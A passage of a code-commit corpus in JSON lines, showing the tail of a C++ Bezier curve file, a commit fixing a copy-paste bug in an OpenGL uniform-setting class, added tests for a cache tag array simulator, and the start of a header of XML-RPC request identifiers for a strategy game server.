* (1.0 - 4.0 * t + 3.0 * t2);\n    weights[2] = 3.0 * t * (2.0 - 3.0 * t);\n    weights[3] = 3.0 * t2;\n}\n\n\nCppVec3 CppCubicBezier::point(double t) {\n    \/\/ Required domain check for t has to be done by the caller!\n    \/\/ 0 <= t <= 1\n    double weights[4];\n    bernstein_poly_d0(t, weights);\n    return p0 * weights[0] + p1 * weights[1] + p2 * weights[2] + p3 * weights[3];\n}\n\nCppVec3 CppCubicBezier::tangent(double t) {\n    \/\/ Required domain check for t has to be done by the caller!\n    \/\/ 0 <= t <= 1\n    double weights[4];\n    bernstein_poly_d1(t, weights);\n    return p0 * weights[0] + p1 * weights[1] + p2 * weights[2] + p3 * weights[3];\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <glow\/Uniform.h>\n#include <glow\/Program.h>\n#include <glow\/Log.h>\n#include <glm\/gtc\/type_ptr.hpp>\n\n\nusing namespace glow;\n\nUniform::Uniform(const std::string& name)\n: _name(name)\n, _type(Undefined)\n{\n}\n\nUniform::~Uniform()\n{\n}\n\nconst std::string& Uniform::name() const\n{\n\treturn _name;\n}\n\nvoid Uniform::registerProgram(Program* program)\n{\n\t_programs.insert(program);\n}\n\nvoid Uniform::deregisterProgram(Program* program)\n{\n\t_programs.erase(program);\n}\n\nvoid Uniform::changed()\n{\n\tfor (Program* program: _programs)\n\t{\n\t\tsetFor(program);\n\t}\n}\n\nvoid Uniform::setFor(Program* program)\n{\n\tprogram->use();\n\tsetUniform(program->getUniformLocation(_name));\n}\n\nvoid Uniform::setUniform(GLint location)\n{\n\tswitch (_type)\n\t{\n        \tcase Float:\n        \t\tglUniform1f(location, _value.float_value);\n        \t\tbreak;\n\t\tcase Int:\n\t\t\tglUniform1i(location, _value.int_value);\n\t\t\tbreak;\n\t\tcase UInt:\n\t\t\tglUniform1ui(location, _value.uint_value);\n\t\t\tbreak;\n        \tcase Vec2:\n        \t\tglUniform2fv(location, 1, glm::value_ptr(_value.vec2_value));\n        \t\tbreak;\n        \tcase Vec3:\n        \t\tglUniform3fv(location, 1, glm::value_ptr(_value.vec3_value));\n        \t\tbreak;\n        \tcase Vec4:\n        \t\tglUniform3fv(location, 1, glm::value_ptr(_value.vec3_value));\n        \t\tbreak;\n        \tcase IVec2:\n        \t\tglUniform2iv(location, 1, glm::value_ptr(_value.ivec2_value));\n        \t\tbreak;\n        \tcase IVec3:\n        \t\tglUniform3iv(location, 1, glm::value_ptr(_value.ivec3_value));\n        \t\tbreak;\n        \tcase IVec4:\n        \t\tglUniform4iv(location, 1, glm::value_ptr(_value.ivec4_value));\n        \t\tbreak;\n        \tcase UVec2:\n        \t\tglUniform2uiv(location, 1, glm::value_ptr(_value.uvec2_value));\n        \t\tbreak;\n        \tcase UVec3:\n        \t\tglUniform3uiv(location, 1, glm::value_ptr(_value.uvec3_value));\n        \t\tbreak;\n        \tcase UVec4:\n        \t\tglUniform4uiv(location, 1, glm::value_ptr(_value.uvec4_value));\n        \t\tbreak;\n        \tcase Mat2:\n        \t\tglUniformMatrix2fv(location, 1, GL_FALSE, glm::value_ptr(_value.mat2_value));\n        \t\tbreak;\n        \tcase Mat3:\n        \t\tglUniformMatrix3fv(location, 1, GL_FALSE, glm::value_ptr(_value.mat3_value));\n        \t\tbreak;\n        \tcase Mat4:\n        \t\tglUniformMatrix4fv(location, 1, GL_FALSE, glm::value_ptr(_value.mat4_value));\n        \t\tbreak;\n        \tcase Mat2x3:\n        \t\tglUniformMatrix2x3fv(location, 1, GL_FALSE, glm::value_ptr(_value.mat2x3_value));\n        \t\tbreak;\n        \tcase Mat3x2:\n        \t\tglUniformMatrix3x2fv(location, 1, GL_FALSE, glm::value_ptr(_value.mat3x2_value));\n        \t\tbreak;\n        \tcase Mat2x4:\n        \t\tglUniformMatrix2x4fv(location, 1, GL_FALSE, glm::value_ptr(_value.mat2x4_value));\n        \t\tbreak;\n        \tcase Mat4x2:\n        \t\tglUniformMatrix4x2fv(location, 1, GL_FALSE, glm::value_ptr(_value.mat4x2_value));\n        \t\tbreak;\n        \tcase Mat3x4:\n        \t\tglUniformMatrix3x4fv(location, 1, GL_FALSE, glm::value_ptr(_value.mat3x4_value));\n        \t\tbreak;\n        \tcase Mat4x3:\n        \t\tglUniformMatrix4x3fv(location, 1, GL_FALSE, glm::value_ptr(_value.mat4x3_value));\n        \t\tbreak;\n        \tcase FloatArray:\n        \t\tglUniform1fv(location, _value.float_array_value.size(), _value.float_array_value.data());\n        \t\tbreak;\n\t\tcase IntArray:\n\t\t\tglUniform1iv(location, _value.int_array_value.size(), _value.int_array_value.data());\n\t\t\tbreak;\n\t\tcase UIntArray:\n\t\t\tglUniform1uiv(location, _value.uint_array_value.size(), _value.uint_array_value.data());\n\t\t\tbreak;\n        \tcase Vec2Array:\n        \t\tglUniform2fv(location, _value.vec2_array_value.size(), reinterpret_cast<const float*>(_value.vec2_array_value.rawData()));\n        \t\tbreak;\n        \tcase Vec3Array:\n        \t\tglUniform3fv(location, _value.vec3_array_value.size(), reinterpret_cast<const float*>(_value.vec3_array_value.rawData()));\n        \t\tbreak;\n        \tcase Vec4Array:\n        \t\tglUniform4fv(location, _value.vec4_array_value.size(), reinterpret_cast<const float*>(_value.vec4_array_value.rawData()));\n        \t\tbreak;\n        \tcase IVec2Array:\n        \t\tglUniform2iv(location, _value.ivec2_array_value.size(), reinterpret_cast<const int*>(_value.ivec2_array_value.rawData()));\n        \t\tbreak;\n        \tcase IVec3Array:\n        \t\tglUniform3iv(location, _value.ivec3_array_value.size(), reinterpret_cast<const int*>(_value.ivec3_array_value.rawData()));\n        \t\tbreak;\n        \tcase IVec4Array:\n        \t\tglUniform4iv(location, _value.ivec4_array_value.size(), reinterpret_cast<const int*>(_value.ivec4_array_value.rawData()));\n        \t\tbreak;\n        \tcase UVec2Array:\n        \t\tglUniform2uiv(location, _value.uvec2_array_value.size(), reinterpret_cast<const unsigned*>(_value.uvec2_array_value.rawData()));\n        \t\tbreak;\n        \tcase UVec3Array:\n        \t\tglUniform3uiv(location, _value.uvec3_array_value.size(), reinterpret_cast<const unsigned*>(_value.uvec3_array_value.rawData()));\n        \t\tbreak;\n        \tcase UVec4Array:\n        \t\tglUniform4uiv(location, _value.uvec4_array_value.size(), reinterpret_cast<const unsigned*>(_value.uvec4_array_value.rawData()));\n        \t\tbreak;\n        \tcase Mat2Array:\n        \t\tglUniformMatrix2fv(location, _value.mat2_array_value.size(), GL_FALSE, reinterpret_cast<const float*>(_value.mat2_array_value.rawData()));\n        \t\tbreak;\n        \tcase Mat3Array:\n        \t\tglUniformMatrix3fv(location, _value.mat3_array_value.size(), GL_FALSE, reinterpret_cast<const float*>(_value.mat3_array_value.rawData()));\n        \t\tbreak;\n        \tcase Mat4Array:\n        \t\tglUniformMatrix2fv(location, _value.mat4_array_value.size(), GL_FALSE, reinterpret_cast<const float*>(_value.mat4_array_value.rawData()));\n        \t\tbreak;\n        \tcase Mat2x3Array:\n        \t\tglUniformMatrix2x3fv(location, _value.mat2x3_array_value.size(), GL_FALSE, reinterpret_cast<const float*>(_value.mat2x3_array_value.rawData()));\n        \t\tbreak;\n        \tcase Mat3x2Array:\n        \t\tglUniformMatrix3x2fv(location, _value.mat3x2_array_value.size(), GL_FALSE, reinterpret_cast<const float*>(_value.mat3x2_array_value.rawData()));\n        \t\tbreak;\n        \tcase Mat2x4Array:\n        \t\tglUniformMatrix2x4fv(location, _value.mat2x4_array_value.size(), GL_FALSE, reinterpret_cast<const float*>(_value.mat2x4_array_value.rawData()));\n        \t\tbreak;\n        \tcase Mat4x2Array:\n        \t\tglUniformMatrix4x2fv(location, _value.mat4x2_array_value.size(), GL_FALSE, reinterpret_cast<const float*>(_value.mat4x2_array_value.rawData()));\n        \t\tbreak;\n        \tcase Mat3x4Array:\n        \t\tglUniformMatrix3x4fv(location, _value.mat3x4_array_value.size(), GL_FALSE, reinterpret_cast<const float*>(_value.mat3x4_array_value.rawData()));\n        \t\tbreak;\n        \tcase Mat4x3Array:\n        \t\tglUniformMatrix4x3fv(location, _value.mat4x3_array_value.size(), GL_FALSE, reinterpret_cast<const float*>(_value.mat4x3_array_value.rawData()));\n        \t\tbreak;\n\t\tdefault:\n\t\t\twarning() << \"Attempted to set untyped uniform\";\n\t}\n}\n<commit_msg>fixed copy&paste error in Uniform<commit_after>#include <glow\/Uniform.h>\n#include <glow\/Program.h>\n#include <glow\/Log.h>\n#include <glm\/gtc\/type_ptr.hpp>\n\n\nusing namespace glow;\n\nUniform::Uniform(const std::string& name)\n: _name(name)\n, _type(Undefined)\n{\n}\n\nUniform::~Uniform()\n{\n}\n\nconst std::string& Uniform::name() const\n{\n\treturn _name;\n}\n\nvoid Uniform::registerProgram(Program* program)\n{\n\t_programs.insert(program);\n}\n\nvoid Uniform::deregisterProgram(Program* program)\n{\n\t_programs.erase(program);\n}\n\nvoid Uniform::changed()\n{\n\tfor (Program* program: _programs)\n\t{\n\t\tsetFor(program);\n\t}\n}\n\nvoid Uniform::setFor(Program* program)\n{\n\tprogram->use();\n\tsetUniform(program->getUniformLocation(_name));\n}\n\nvoid Uniform::setUniform(GLint location)\n{\n\tswitch (_type)\n\t{\n        \tcase Float:\n        \t\tglUniform1f(location, _value.float_value);\n        \t\tbreak;\n\t\tcase Int:\n\t\t\tglUniform1i(location, _value.int_value);\n\t\t\tbreak;\n\t\tcase UInt:\n\t\t\tglUniform1ui(location, _value.uint_value);\n\t\t\tbreak;\n        \tcase Vec2:\n        \t\tglUniform2fv(location, 1, glm::value_ptr(_value.vec2_value));\n        \t\tbreak;\n        \tcase Vec3:\n        \t\tglUniform3fv(location, 1, glm::value_ptr(_value.vec3_value));\n        \t\tbreak;\n        \tcase Vec4:\n        \t\tglUniform4fv(location, 1, glm::value_ptr(_value.vec4_value));\n        \t\tbreak;\n        \tcase IVec2:\n        \t\tglUniform2iv(location, 1, glm::value_ptr(_value.ivec2_value));\n        \t\tbreak;\n        \tcase IVec3:\n        \t\tglUniform3iv(location, 1, glm::value_ptr(_value.ivec3_value));\n        \t\tbreak;\n        \tcase IVec4:\n        \t\tglUniform4iv(location, 1, glm::value_ptr(_value.ivec4_value));\n        \t\tbreak;\n        \tcase UVec2:\n        \t\tglUniform2uiv(location, 1, glm::value_ptr(_value.uvec2_value));\n        \t\tbreak;\n        \tcase UVec3:\n        \t\tglUniform3uiv(location, 1, glm::value_ptr(_value.uvec3_value));\n        \t\tbreak;\n        \tcase UVec4:\n        \t\tglUniform4uiv(location, 1, glm::value_ptr(_value.uvec4_value));\n        \t\tbreak;\n        \tcase Mat2:\n        \t\tglUniformMatrix2fv(location, 1, GL_FALSE, glm::value_ptr(_value.mat2_value));\n        \t\tbreak;\n        \tcase Mat3:\n        \t\tglUniformMatrix3fv(location, 1, GL_FALSE, glm::value_ptr(_value.mat3_value));\n        \t\tbreak;\n        \tcase Mat4:\n        \t\tglUniformMatrix4fv(location, 1, GL_FALSE, glm::value_ptr(_value.mat4_value));\n        \t\tbreak;\n        \tcase Mat2x3:\n        \t\tglUniformMatrix2x3fv(location, 1, GL_FALSE, glm::value_ptr(_value.mat2x3_value));\n        \t\tbreak;\n        \tcase Mat3x2:\n        \t\tglUniformMatrix3x2fv(location, 1, GL_FALSE, glm::value_ptr(_value.mat3x2_value));\n        \t\tbreak;\n        \tcase Mat2x4:\n        \t\tglUniformMatrix2x4fv(location, 1, GL_FALSE, glm::value_ptr(_value.mat2x4_value));\n        \t\tbreak;\n        \tcase Mat4x2:\n        \t\tglUniformMatrix4x2fv(location, 1, GL_FALSE, glm::value_ptr(_value.mat4x2_value));\n        \t\tbreak;\n        \tcase Mat3x4:\n        \t\tglUniformMatrix3x4fv(location, 1, GL_FALSE, glm::value_ptr(_value.mat3x4_value));\n        \t\tbreak;\n        \tcase Mat4x3:\n        \t\tglUniformMatrix4x3fv(location, 1, GL_FALSE, glm::value_ptr(_value.mat4x3_value));\n        \t\tbreak;\n        \tcase FloatArray:\n        \t\tglUniform1fv(location, _value.float_array_value.size(), _value.float_array_value.data());\n        \t\tbreak;\n\t\tcase IntArray:\n\t\t\tglUniform1iv(location, _value.int_array_value.size(), _value.int_array_value.data());\n\t\t\tbreak;\n\t\tcase UIntArray:\n\t\t\tglUniform1uiv(location, _value.uint_array_value.size(), _value.uint_array_value.data());\n\t\t\tbreak;\n        \tcase Vec2Array:\n        \t\tglUniform2fv(location, _value.vec2_array_value.size(), reinterpret_cast<const float*>(_value.vec2_array_value.rawData()));\n        \t\tbreak;\n        \tcase Vec3Array:\n        \t\tglUniform3fv(location, _value.vec3_array_value.size(), reinterpret_cast<const float*>(_value.vec3_array_value.rawData()));\n        \t\tbreak;\n        \tcase Vec4Array:\n        \t\tglUniform4fv(location, _value.vec4_array_value.size(), reinterpret_cast<const float*>(_value.vec4_array_value.rawData()));\n        \t\tbreak;\n        \tcase IVec2Array:\n        \t\tglUniform2iv(location, _value.ivec2_array_value.size(), reinterpret_cast<const int*>(_value.ivec2_array_value.rawData()));\n        \t\tbreak;\n        \tcase IVec3Array:\n        \t\tglUniform3iv(location, _value.ivec3_array_value.size(), reinterpret_cast<const int*>(_value.ivec3_array_value.rawData()));\n        \t\tbreak;\n        \tcase IVec4Array:\n        \t\tglUniform4iv(location, _value.ivec4_array_value.size(), reinterpret_cast<const int*>(_value.ivec4_array_value.rawData()));\n        \t\tbreak;\n        \tcase UVec2Array:\n        \t\tglUniform2uiv(location, _value.uvec2_array_value.size(), reinterpret_cast<const unsigned*>(_value.uvec2_array_value.rawData()));\n        \t\tbreak;\n        \tcase UVec3Array:\n        \t\tglUniform3uiv(location, _value.uvec3_array_value.size(), reinterpret_cast<const unsigned*>(_value.uvec3_array_value.rawData()));\n        \t\tbreak;\n        \tcase UVec4Array:\n        \t\tglUniform4uiv(location, _value.uvec4_array_value.size(), reinterpret_cast<const unsigned*>(_value.uvec4_array_value.rawData()));\n        \t\tbreak;\n        \tcase Mat2Array:\n        \t\tglUniformMatrix2fv(location, _value.mat2_array_value.size(), GL_FALSE, reinterpret_cast<const float*>(_value.mat2_array_value.rawData()));\n        \t\tbreak;\n        \tcase Mat3Array:\n        \t\tglUniformMatrix3fv(location, _value.mat3_array_value.size(), GL_FALSE, reinterpret_cast<const float*>(_value.mat3_array_value.rawData()));\n        \t\tbreak;\n        \tcase Mat4Array:\n        \t\tglUniformMatrix2fv(location, _value.mat4_array_value.size(), GL_FALSE, reinterpret_cast<const float*>(_value.mat4_array_value.rawData()));\n        \t\tbreak;\n        \tcase Mat2x3Array:\n        \t\tglUniformMatrix2x3fv(location, _value.mat2x3_array_value.size(), GL_FALSE, reinterpret_cast<const float*>(_value.mat2x3_array_value.rawData()));\n        \t\tbreak;\n        \tcase Mat3x2Array:\n        \t\tglUniformMatrix3x2fv(location, _value.mat3x2_array_value.size(), GL_FALSE, reinterpret_cast<const float*>(_value.mat3x2_array_value.rawData()));\n        \t\tbreak;\n        \tcase Mat2x4Array:\n        \t\tglUniformMatrix2x4fv(location, _value.mat2x4_array_value.size(), GL_FALSE, reinterpret_cast<const float*>(_value.mat2x4_array_value.rawData()));\n        \t\tbreak;\n        \tcase Mat4x2Array:\n        \t\tglUniformMatrix4x2fv(location, _value.mat4x2_array_value.size(), GL_FALSE, reinterpret_cast<const float*>(_value.mat4x2_array_value.rawData()));\n        \t\tbreak;\n        \tcase Mat3x4Array:\n        \t\tglUniformMatrix3x4fv(location, _value.mat3x4_array_value.size(), GL_FALSE, reinterpret_cast<const float*>(_value.mat3x4_array_value.rawData()));\n        \t\tbreak;\n        \tcase Mat4x3Array:\n        \t\tglUniformMatrix4x3fv(location, _value.mat4x3_array_value.size(), GL_FALSE, reinterpret_cast<const float*>(_value.mat4x3_array_value.rawData()));\n        \t\tbreak;\n\t\tdefault:\n\t\t\twarning() << \"Attempted to set untyped uniform\";\n\t}\n}\n<|endoftext|>"}
{"text":"<commit_before>\/**\n * Tests for CacheTagArray\n * @author Oleg Ladin, Denis Los \n *\/\n\n#include <catch.hpp>\n\n\/\/ Module\n#include \"..\/cache_tag_array.h\"\n\n#include <infra\/types.h>\n\n#include <fstream>\n#include <vector>\n\nTEST_CASE( \"pass_wrong_arguments: Pass_Wrong_Arguments_To_CacheTagArraySizeCheck\")\n{\n    \/\/ size_in_bytes = 128\n    \/\/ ways = 0\n    \/\/ line_size = 4\n    \/\/ addr_size_in_bits = 32\n    CHECK_THROWS_AS( CacheTagArraySizeCheck( 128, 0, 4, 32), CacheTagArrayInvalidSizeException);\n\n    \/\/ size_in_bytes = 0\n    \/\/ ways = 16\n    \/\/ line_size = 4\n    \/\/ addr_size_in_bits = 32\n    CHECK_THROWS_AS( CacheTagArraySizeCheck( 0, 16, 4, 32), CacheTagArrayInvalidSizeException);\n\n    \/\/ size_in_bytes = 128\n    \/\/ ways = 16\n    \/\/ line_size = 0\n    \/\/ addr_size_in_bits = 32\n    CHECK_THROWS_AS( CacheTagArraySizeCheck( 128, 16, 0, 32), CacheTagArrayInvalidSizeException);\n\n    \/\/ size_in_bytes = 128\n    \/\/ ways = 16\n    \/\/ line_size = 4\n    \/\/ addr_size_in_bits = 0\n    CHECK_THROWS_AS( CacheTagArraySizeCheck( 128, 16, 4, 0), CacheTagArrayInvalidSizeException);\n\n    \/\/ size_in_bytes = 0\n    \/\/ ways = 0\n    \/\/ line_size = 0\n    \/\/ addr_size_in_bits = 0\n    CHECK_THROWS_AS( CacheTagArraySizeCheck( 0, 0, 0, 0), CacheTagArrayInvalidSizeException);\n\n    \/\/ size_in_bytes is power of 2, \n    \/\/ but the number of ways is not\n    CHECK_THROWS_AS( CacheTagArraySizeCheck( 64, 9, 4, 32), CacheTagArrayInvalidSizeException);\n\n    \/\/ the number of ways is power of 2,\n    \/\/ but size_in_bytes is not\n    CHECK_THROWS_AS( CacheTagArraySizeCheck( 500, 16, 4, 32), CacheTagArrayInvalidSizeException);\n\n    \/\/ line_size is not power of 2\n    CHECK_THROWS_AS( CacheTagArraySizeCheck( 512, 16, 12, 32), CacheTagArrayInvalidSizeException);\n}\n\nstatic const uint32 LINE_SIZE = 4; \/\/ why not 32?\n\nstatic void test( std::ifstream& miss_rate_file, const std::vector<Addr>& values,\n                  uint32 associativity, uint32 _size)\n{\n    CacheTagArray cta(_size, associativity, LINE_SIZE);\n\n    std::size_t hit = 0;\n    std::size_t miss = 0;\n\n    for ( const auto& addr : values)\n        if ( cta.read( addr).first)\n        {\n            hit++;\n        }\n        else\n        {\n            miss++;\n            cta.write( addr); \/\/ load to the\n        }\n\n    \/\/ hit and miss numbers are both needed \n    \/\/ because mem_trace file can be changed\n    std::size_t sample_hit;\n    std::size_t sample_miss;\n\n    \/\/ read sample miss rates from miss_rate file\n    \/\/ and check whether a file with sample miss rates has been corrupted\n    miss_rate_file >> sample_miss;\n    miss_rate_file >> sample_hit;\n\n    \/\/ check whether sample hit and miss numbers\n    \/\/ are equal to the evaluated ones \n    CHECK( hit == sample_hit);\n    CHECK( miss == sample_miss);\n}\n\nTEST_CASE( \"miss_rate_sim: Miss_Rate_Sim_Test\")\n{\n    const std::string MEM_TRACE_FILENAME = TEST_DATA_PATH \"mem_trace.txt\";\n    const std::string MISS_RATE_FILENAME = TEST_DATA_PATH \"miss_rate.txt\";\n\n    \/\/ open and check mem_trace file\n    std::ifstream mem_trace_file;\n    mem_trace_file.open( MEM_TRACE_FILENAME, std::ifstream::in);\n    CHECK( mem_trace_file.is_open());\n\n    \/\/ open and check miss_rate file\n    std::ifstream miss_rate_file;\n    miss_rate_file.open( MISS_RATE_FILENAME, std::ifstream::in);\n    CHECK( miss_rate_file.is_open());\n\n    \/\/ Cache parameters\n    std::vector<uint32> associativities = { 1, 2, 4, 8, 16 };\n    std::vector<uint32> cache_sizes = { 1, 2, 4, 8, 16, 32, 64, 128, 256, 512, 1024 };\n   \n    Addr addr;\n    std::vector<uint32> values;\n    values.reserve(100000);\n    while ( mem_trace_file >> std::hex >> addr)\n        values.push_back(addr);\n\n    \/\/ test CacheTagArray on different parameters\n    for ( auto associativity : associativities)\n        for ( auto cache_size : cache_sizes)\n            test( miss_rate_file, values, associativity, 1024 * cache_size);\n    \n    \/\/ test full-assotiative\n    for ( auto cache_size : cache_sizes)\n        test( miss_rate_file, values, 1024 * cache_size \/ LINE_SIZE, 1024 * cache_size);\n\n    mem_trace_file.close();\n    miss_rate_file.close();\n}\n<commit_msg>Add tests for esoteric cache sizes<commit_after>\/**\n * Tests for CacheTagArray\n * @author Oleg Ladin, Denis Los \n *\/\n\n#include <catch.hpp>\n\n\/\/ Module\n#include \"..\/cache_tag_array.h\"\n\n#include <infra\/types.h>\n\n#include <fstream>\n#include <vector>\n\nTEST_CASE( \"pass_wrong_arguments: Pass_Wrong_Arguments_To_CacheTagArraySizeCheck\")\n{\n    \/\/ size_in_bytes = 128\n    \/\/ ways = 0\n    \/\/ line_size = 4\n    \/\/ addr_size_in_bits = 32\n    CHECK_THROWS_AS( CacheTagArraySizeCheck( 128, 0, 4, 32), CacheTagArrayInvalidSizeException);\n\n    \/\/ size_in_bytes = 0\n    \/\/ ways = 16\n    \/\/ line_size = 4\n    \/\/ addr_size_in_bits = 32\n    CHECK_THROWS_AS( CacheTagArraySizeCheck( 0, 16, 4, 32), CacheTagArrayInvalidSizeException);\n\n    \/\/ size_in_bytes = 128\n    \/\/ ways = 16\n    \/\/ line_size = 0\n    \/\/ addr_size_in_bits = 32\n    CHECK_THROWS_AS( CacheTagArraySizeCheck( 128, 16, 0, 32), CacheTagArrayInvalidSizeException);\n\n    \/\/ size_in_bytes = 128\n    \/\/ ways = 16\n    \/\/ line_size = 4\n    \/\/ addr_size_in_bits = 0\n    CHECK_THROWS_AS( CacheTagArraySizeCheck( 128, 16, 4, 0), CacheTagArrayInvalidSizeException);\n\n    \/\/ size_in_bytes = 0\n    \/\/ ways = 0\n    \/\/ line_size = 0\n    \/\/ addr_size_in_bits = 0\n    CHECK_THROWS_AS( CacheTagArraySizeCheck( 0, 0, 0, 0), CacheTagArrayInvalidSizeException);\n\n    \/\/ size_in_bytes is power of 2, \n    \/\/ but the number of ways is not\n    CHECK_THROWS_AS( CacheTagArraySizeCheck( 64, 9, 4, 32), CacheTagArrayInvalidSizeException);\n\n    \/\/ the number of ways is power of 2,\n    \/\/ but size_in_bytes is not\n    CHECK_THROWS_AS( CacheTagArraySizeCheck( 500, 16, 4, 32), CacheTagArrayInvalidSizeException);\n\n    \/\/ line_size is not power of 2\n    CHECK_THROWS_AS( CacheTagArraySizeCheck( 512, 16, 12, 32), CacheTagArrayInvalidSizeException);\n\n    \/\/ address is 48 bits\n    CHECK_THROWS_AS( CacheTagArraySizeCheck( 128, 4, 4, 48), CacheTagArrayInvalidSizeException);\n\n    \/\/ too small cache\n    CHECK_THROWS_AS( CacheTagArraySizeCheck( 8, 4, 4, 32), CacheTagArrayInvalidSizeException);\n}\n\nstatic const uint32 LINE_SIZE = 4; \/\/ why not 32?\n\nstatic void test( std::ifstream& miss_rate_file, const std::vector<Addr>& values,\n                  uint32 associativity, uint32 _size)\n{\n    CacheTagArray cta(_size, associativity, LINE_SIZE);\n\n    std::size_t hit = 0;\n    std::size_t miss = 0;\n\n    for ( const auto& addr : values)\n        if ( cta.read( addr).first)\n        {\n            hit++;\n        }\n        else\n        {\n            miss++;\n            cta.write( addr); \/\/ load to the\n        }\n\n    \/\/ hit and miss numbers are both needed \n    \/\/ because mem_trace file can be changed\n    std::size_t sample_hit;\n    std::size_t sample_miss;\n\n    \/\/ read sample miss rates from miss_rate file\n    \/\/ and check whether a file with sample miss rates has been corrupted\n    miss_rate_file >> sample_miss;\n    miss_rate_file >> sample_hit;\n\n    \/\/ check whether sample hit and miss numbers\n    \/\/ are equal to the evaluated ones \n    CHECK( hit == sample_hit);\n    CHECK( miss == sample_miss);\n}\n\nTEST_CASE( \"miss_rate_sim: Miss_Rate_Sim_Test\")\n{\n    const std::string MEM_TRACE_FILENAME = TEST_DATA_PATH \"mem_trace.txt\";\n    const std::string MISS_RATE_FILENAME = TEST_DATA_PATH \"miss_rate.txt\";\n\n    \/\/ open and check mem_trace file\n    std::ifstream mem_trace_file;\n    mem_trace_file.open( MEM_TRACE_FILENAME, std::ifstream::in);\n    CHECK( mem_trace_file.is_open());\n\n    \/\/ open and check miss_rate file\n    std::ifstream miss_rate_file;\n    miss_rate_file.open( MISS_RATE_FILENAME, std::ifstream::in);\n    CHECK( miss_rate_file.is_open());\n\n    \/\/ Cache parameters\n    std::vector<uint32> associativities = { 1, 2, 4, 8, 16 };\n    std::vector<uint32> cache_sizes = { 1, 2, 4, 8, 16, 32, 64, 128, 256, 512, 1024 };\n   \n    Addr addr;\n    std::vector<uint32> values;\n    values.reserve(100000);\n    while ( mem_trace_file >> std::hex >> addr)\n        values.push_back(addr);\n\n    \/\/ test CacheTagArray on different parameters\n    for ( auto associativity : associativities)\n        for ( auto cache_size : cache_sizes)\n            test( miss_rate_file, values, associativity, 1024 * cache_size);\n    \n    \/\/ test full-assotiative\n    for ( auto cache_size : cache_sizes)\n        test( miss_rate_file, values, 1024 * cache_size \/ LINE_SIZE, 1024 * cache_size);\n\n    mem_trace_file.close();\n    miss_rate_file.close();\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (C) 2010 and 2011 Marcin Arkadiusz Skrobiranda.\n\/\/ All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions\n\/\/ are met:\n\/\/ 1. Redistributions of source code must retain the above copyright\n\/\/    notice, this list of conditions and the following disclaimer.\n\/\/ 2. Redistributions in binary form must reproduce the above copyright\n\/\/    notice, this list of conditions and the following disclaimer in the\n\/\/    documentation and\/or other materials provided with the distribution.\n\/\/ 3. Neither the name of the project nor the names of its contributors\n\/\/    may be used to endorse or promote products derived from this software\n\/\/    without specific prior written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE PROJECT AND CONTRIBUTORS \"AS IS\" AND\n\/\/ ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n\/\/ IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n\/\/ ARE DISCLAIMED. IN NO EVENT SHALL THE PROJECT OR CONTRIBUTORS BE LIABLE\n\/\/ FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n\/\/ DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n\/\/ OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n\/\/ HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n\/\/ LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n\/\/ OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n\/\/ SUCH DAMAGE.\n\n#ifndef NETWORK_XMLRPCCOMMON_REQUEST_REQUEST_HPP\n#define NETWORK_XMLRPCCOMMON_REQUEST_REQUEST_HPP\n\n#include \"..\/Common\/Message.hpp\"\n\n#include \"InvalidRequest.hpp\"\n\nnamespace Network\n{\nnamespace XmlRPCCommon\n{\nnamespace Request\n{\n\n\/**\n * @brief The identifiers of the requests.\n *\/\nunsigned short int const REQUEST_ID_ECHO                               =  1;\nunsigned short int const REQUEST_ID_ERROR                              =  2;\n\nunsigned short int const REQUEST_ID_CREATE_LAND                        =  3;\nunsigned short int const REQUEST_ID_DELETE_LAND                        =  4;\nunsigned short int const REQUEST_ID_GET_LAND_BY_ID_LAND                =  5;\nunsigned short int const REQUEST_ID_GET_LAND_BY_NAME                   =  6;\nunsigned short int const REQUEST_ID_GET_LANDS_BY_ID_WORLD              =  7;\n\nunsigned short int const REQUEST_ID_CREATE_SETTLEMENT                  =  8;\nunsigned short int const REQUEST_ID_DELETE_SETTLEMENT                  =  9;\nunsigned short int const REQUEST_ID_GET_SETTLEMENT_BY_ID_LAND_AND_NAME =  0;\nunsigned short int const REQUEST_ID_GET_SETTLEMENT_BY_ID_SETTLEMENT    = 11;\nunsigned short int const REQUEST_ID_GET_SETTLEMENTS_BY_ID_LAND         = 12;\n\nunsigned short int const REQUEST_ID_BUILD_BUILDING                     = 13;\nunsigned short int const REQUEST_ID_DESTROY_BUILDING                   = 14;\nunsigned short int const REQUEST_ID_GET_BUILDING                       = 15;\nunsigned short int const REQUEST_ID_GET_BUILDINGS                      = 16;\n\nunsigned short int const REQUEST_ID_DISMISS_HUMAN                      = 17;\nunsigned short int const REQUEST_ID_ENGAGE_HUMAN                       = 18;\nunsigned short int const REQUEST_ID_GET_HUMAN                          = 19;\nunsigned short int const REQUEST_ID_GET_HUMANS                         = 20;\n\nunsigned short int const REQUEST_ID_GET_RESOURCE                       = 21;\nunsigned short int const REQUEST_ID_GET_RESOURCES                      = 22;\n\nunsigned short int const REQUEST_ID_CREATE_USER                        = 23;\n\nunsigned short int const REQUEST_ID_CREATE_WORLD                       = 24;\n\nunsigned short int const REQUEST_ID_TURN                               = 25;\n\nunsigned short int const REQUEST_ID_CREATE_EPOCH                       = 26;\nunsigned short int const REQUEST_ID_DELETE_EPOCH                       = 27;\nunsigned short int const REQUEST_ID_ACTIVATE_EPOCH                     = 28;\nunsigned short int const REQUEST_ID_DEACTIVATE_EPOCH                   = 29;\nunsigned short int const REQUEST_ID_FINISH_EPOCH                       = 30;\nunsigned short int const REQUEST_ID_TICK_EPOCH                         = 31;\nunsigned short int const REQUEST_ID_GET_EPOCH                          = 32;\n\nunsigned short int const 